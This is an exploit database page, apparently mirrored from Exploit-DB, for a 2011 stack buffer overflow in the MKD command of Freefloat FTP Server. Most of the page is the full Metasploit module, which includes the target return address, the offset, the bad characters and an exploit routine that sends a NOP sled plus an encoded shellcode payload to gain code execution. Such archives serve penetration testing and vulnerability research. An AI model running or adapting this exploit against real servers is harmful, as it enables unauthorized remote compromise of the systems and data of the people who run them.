header-logo
Suggest Exploit
vendor:
Freefloat FTP Server
by:
C4SS!0 G0M3S, James Fitts
7.5
CVSS
HIGH
Stack Overflow
119
CWE
Product Name: Freefloat FTP Server
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3
2011

Freefloat FTP Server MKD Command Stack Overflow

This module exploits a buffer overflow vulnerability found in the MKD command in the Freefloat FTP server.

Mitigation:

Upgrade to the latest version of Freefloat FTP Server
Source

Exploit-DB raw data:

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Freefloat FTP Server MKD Command Stack Overflow',
			'Description'    => %q{
						This module exploits a buffer overflow vulnerability
						found in the MKD command in the Freefloat FTP server.
			},
			'Author'         => [
						'C4SS!0 G0M3S',		# Initial Discovery
						'James Fitts'	# Metasploit Module
					],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/17539/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space' => 700,
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3', 
						{ 
							'Ret' => 0x7cb97475, # jmp esp from shell32.dll
							'Offset' => 247
						} 
					],
				],
			'DisclosureDate' => 'Jul 17 2011',
			'DefaultTarget'	=> 0))
	end

	def exploit
		connect_login

		print_status("Trying target #{target.name}...")

		buf = make_nops(target['Offset']) + [target.ret].pack('V')
		buf << make_nops(20)
		buf << payload.encoded

		send_cmd( ['MKD', buf] , false )

		handler
		disconnect
	end

end